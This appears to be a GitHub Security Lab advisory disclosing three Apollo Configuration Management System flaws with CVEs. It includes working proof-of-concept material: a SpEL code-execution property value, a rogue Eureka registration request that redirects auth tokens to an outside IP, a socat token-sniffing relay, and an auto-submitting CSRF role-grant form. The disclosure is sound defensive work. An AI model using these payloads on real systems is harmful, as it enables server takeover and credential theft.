Coordinated Disclosure Timeline
- 2022-11-24: report sent to the Apollo security contact email apollo-config@googlegroups.com
- 2022-11-26: acknowledged by the development team. The dev team also submitted fixes for GHSL-2022-122 and GHSL-2022-123
- 2023-02-18: fixes are included in the 2.1.0 release. GHSA-fmxq-v8mg-qh25 and GHSA-368x-wmmg-hq5c advisories are published
Summary
Apollo Configuration Management System is affected by multiple security vulnerabilities, including Post-Auth Remote Code Execution via SpL evaluation, Improper Authorization in Eureka Service Discovery and Cross Site Request forgery.
Product
Apollo Configuration Management System
Tested Version
Details
Issue 1: SpEL evaluation (GHSL-2022-121
)
The system configuration portal area provides the ability to change some of the server’s settings, such as “apollo.portal.envs”, “api.readTimeout”, etc. These values are stored in the PortalDB and used by the Apollo Config application. Internally, these settings are also merged with Spring Framework properties, which opens quite a large attack surface.
//add property source to environment
for (RefreshablePropertySource propertySource : propertySources) {
propertySource.refresh();
environment.getPropertySources().addLast(propertySource);
}
If an attacker obtains access to this page on Portal, they can not only modify the server’s properties, but execute arbitrary code on the server via Spring Expression Language (SpEL) evaluation.
In order to do so, the attacker can modify any property that is referenced in the @Value
annotation from Spring framework, for example, fat.titan.url
:
@Component
public class TitanSettings {
@Value("${fat.titan.url:}")
private String fatTitanUrl;
Next time when the Portal application is restarted, the value of this property will be checked for #{...}
syntax and evaluated with the StandardEvaluationContext
Therefore, the following value can be used to to execute arbitrary code on server:
fat.titan.url
: #{T(java.lang.Runtime).getRuntime().exec('whoami')}
Impact
This issue may lead to Remote Code Execution, although an admin account is required to access the vulnerable page.
Steps to reproduce
- Login to Apollo portal and navigate to “Admin tools” -> “System Configuration”.
- Set
fat.titan.url
url property to#{T(java.lang.Runtime).getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')}
. - Restart the application.
TitanSettings
class will be reloaded by Spring and a new Calculator window will be shown.
Tip: To debug the expression evaluation you can set a breakpoint at org.springframework.expression.spel.standard.SpelExpression#getValue(EvaluationContext)
or java.lang.Runtime#exec(String)
to see a full call stack.
Note: The development team decided not to fix this issue as it requires admin privileges to access the system configuration page.
Issue 2: Improper Authorization (GHSL-2022-122/CVE-2023-25570
)
Admin Service and Config Service support authorization based on tokens. These tokens are stored in the ConfigDB database and checked by the AdminServiceAuthenticationFilter and ClientAuthenticationFilter, protecting them from unauthorized access. At the same time, in the default configuration the Service Registry (Eureka) runs on the same tomcat instance without any authorization checks.
As shown in the image below, Eureka plays a critical role in Apollo Config infrastructure and is responsible for registration of all Config and Admin services.
Eureka keeps track of all running Config and Admin services and provides a list of them to Portal and Client applications. When a new Config instance starts, it sends an unauthenticated lease request to Eureka. Eureka does not check whether the new Client application is a legitimate one and just adds it to the list. Essentially, token authentication on the Config and Admin components can be bypassed as Eureka does not authenticate service registration requests.
Impact
If a malicious actor has network access to the Tomcat instance where Config or Admin services are running but does not know a token, they can leak the token by interacting with Eureka API.
Steps to reproduce:
- For demo purposes, we can use the default configuration from apolloconfig/apollo-quick-start.
-
Enable token based authentication by setting the following properties in the database:
ConfigDB: 'admin-service.access.control.enabled': 'true' 'admin-service.access.tokens': 'secret' PortalDB: 'admin-service.access.tokens': '{"DEV":"secret"}'
- After starting Config and Admin services with these settings, unauthenticated requests to them should return 401 (Unauthorized) response status code.
-
Submit a request to the Eureka to create a new rogue instance of an admin application:
POST /eureka/apps/APOLLO-ADMINSERVICE HTTP/1.1 Host: localhost:8080 Content-Type: application/xml Content-Length: 1572 <instance> <instanceId>rogueInstance</instanceId> <hostName>1.3.3.7</hostName> <app>APOLLO-ADMINSERVICE</app> <ipAddr>1.3.3.7</ipAddr> <status>UP</status> <overriddenstatus>UNKNOWN</overriddenstatus> <port enabled="true">7082</port> <securePort enabled="false">443</securePort> <countryId>1</countryId> <dataCenterInfo class="com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo"> <name>MyOwn</name> </dataCenterInfo> <leaseInfo> <renewalIntervalInSecs>30</renewalIntervalInSecs> <durationInSecs>90</durationInSecs> <registrationTimestamp>1668197940579</registrationTimestamp> <lastRenewalTimestamp>1668198291580</lastRenewalTimestamp> <evictionTimestamp>0</evictionTimestamp> <serviceUpTimestamp>1668197940579</serviceUpTimestamp> </leaseInfo> <metadata> <management.port>8080</management.port> </metadata> <homePageUrl>http://1.3.3.7:7082/</homePageUrl> <statusPageUrl>http://1.3.3.7:7082/info</statusPageUrl> <healthCheckUrl>http://1.3.3.7:7082/health</healthCheckUrl> <vipAddress>apollo-configservice</vipAddress> <secureVipAddress>apollo-configservice</secureVipAddress> <isCoordinatingDiscoveryServer>false</isCoordinatingDiscoveryServer> <lastUpdatedTimestamp>1668197940579</lastUpdatedTimestamp> <lastDirtyTimestamp>1668197939583</lastDirtyTimestamp> <actionType>ADDED</actionType> </instance>
Where
1.3.3.7
is the IP address of the rogue admin instance. -
Whenever a portal or client application makes a request to the admin service, the new requested instance will be used and the authentication token will be sent to 1.3.3.7. In order to sniff this token but keep the application functional, you can use the following
socat
command:socat -v tcp-listen:7082,fork,reuseaddr tcp-connect:1.2.3.4:8090
Where
1.2.3.4:8090
is a legitimate Apollo admin instance. This command redirects and prints all traffic with the leaked token:
Issue 3: Cross-Site Request Forgery (CSRF) (GHSL-2022-123/CVE-2023-25569
)
Apollo Portal Service has CSRF protection disabled for all profiles in the AuthConfiguration
class:
https://github.com/apolloconfig/apollo/blob/28df335eb635926281bc9dc0f0419b5fd3eaada1/apollo-portal/src/main/java/com/ctrip/framework/apollo/portal/spi/configuration/AuthConfiguration.java#L159-L161
@Override
protected void configure(HttpSecurity http) throws Exception {
http.csrf().disable();
http.headers().frameOptions().sameOrigin();
It does not make the majority of controllers insecure, as those who mutate data on server require sending a POST request with application/json
body content type. Modern browsers cannot send subdomain requests with JSON content type without CORS support, which is good.
At the same time, there are some POST controllers that don’t require any body, or require a multipart/form-data
file in the body. For example, PermissionController#addManageAppMasterRoleToUser only relies on path variables to perform role assignment:
@PreAuthorize(value = "@permissionValidator.isSuperAdmin()")
@PostMapping("/apps/{appId}/system/master/{userId}")
public ResponseEntity<Void> addManageAppMasterRoleToUser(@PathVariable String appId, @PathVariable String userId) {
checkUserExists(userId);
roleInitializationService.initManageAppMasterRole(appId, userInfoHolder.getUser().getUserId());
The absence of body content checks makes this controller vulnerable to CSRF attacks.
Impact
A low privileged user can create a special web page. If an authenticated Portal admin visits this page, the page can silently send a request to assign new roles for that user without any confirmations from the Portal admin.
Steps to reproduce
-
Place the following html code on an external website:
<html> <form id=myform action="http://portal:8090/apps/SampleApp/system/master/hacker" method="POST"> <input type="submit" value="Submit request" /> </form> <script>myform.submit()</script> </html>
-
When an administrator authenticated on a Portal application visits this page, it sends a request to grant permissions for the “SampleApp” to the “hacker” user with all required cookies.
Note: as of November 2022, this kind of attack does not work in Chrome as it sets SameSite=Lax by default. At the same time, the attack still works in latest Firefox or Safari browsers, and therefore requires remediation.
CVE
- CVE-2023-25569 (GHSA-fmxq-v8mg-qh25)
- CVE-2023-25570 (GHSA-368x-wmmg-hq5c)
Credit
These issues were discovered and reported by GHSL team member @artsploit (Michael Stepankin).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2022-121
, GHSL-2022-122
, or GHSL-2022-123
in any communication regarding these issues.